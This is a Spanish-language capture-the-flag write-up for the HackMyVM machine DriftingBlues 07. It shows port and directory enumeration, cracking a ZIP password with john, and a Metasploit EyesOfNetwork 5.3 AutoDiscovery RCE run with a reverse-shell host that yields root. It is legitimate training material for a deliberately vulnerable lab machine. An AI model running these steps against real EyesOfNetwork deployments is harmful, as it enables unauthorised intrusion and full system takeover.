cd ~/blog

~/writeups/hmv/100-driftingblues-07.md

100 - DriftingBlues 07

easy Linux hmv 25-05-2024
ZIP password cracking (john)EyesOfNetwork 5.3 AutoDiscovery RCE
hackmyvm.eu/machines/machine.php?vm=DriftingBlues7

~1 min de lectura


Enumeramos puertos:

 sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.19
 nmap -sCV -p22,66,80,111,443,2403,3306,8086 -oN 02-targeted.txt 192.168.1.19
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-25 22:05 -04
Nmap scan report for 192.168.1.19
Host is up (0.00031s latency).

PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 7.4 (protocol 2.0)
66/tcp   open  http            SimpleHTTPServer 0.6 (Python 2.7.5)
80/tcp   open  http            Apache httpd 2.4.6 ((CentOS) ...)
111/tcp  open  rpcbind         2-4 (RPC #100000)
443/tcp  open  ssl/http        Apache httpd 2.4.6 ((CentOS) ...)
| http-title: EyesOfNetwork
2403/tcp open  taskmaster2000?
3306/tcp open  mysql           MariaDB (unauthorized)
8086/tcp open  http            InfluxDB http admin 1.7.9
...

En el servicio del puerto 66 encontramos las flags (en la fase de reconocimiento) y un archivo eon:

 gobuster dir -u 'http://192.168.1.19:66/' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,gif,zip -r
...
/user.txt             (Status: 200) [Size: 32]
/root.txt             (Status: 200) [Size: 32]
/eon                  (Status: 200) [Size: 248]
...

eon es un ZIP en base64; lo reconstruimos y lo crackeamos con john:

 zip2john application.zip > hash
 sudo /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
killah           (application.zip/creds.txt)
...

Dentro están las credenciales del servicio EyesOfNetwork (puerto 443). Buscamos exploits:

 searchsploit eyes 5.3
...
EyesOfNetwork 5.3 - File Upload Remote Code Execution      | multiple/webapps/49432.sh
EyesOfNetwork 5.3 - RCE & PrivEsc                          | multiple/webapps/49402.txt
...

Tras iniciar sesión en el navegador, usamos el módulo de Metasploit (AutoDiscovery RCE), que nos da directamente shell de root:

 msfconsole
msf6 > use exploit/linux/http/eyesofnetwork_autodiscovery_rce
msf6 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > set rhosts 192.168.1.19
msf6 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > set lhost 192.168.1.5
msf6 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > run

Obtenemos root. Las flags ya las habíamos recuperado en el reconocimiento.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados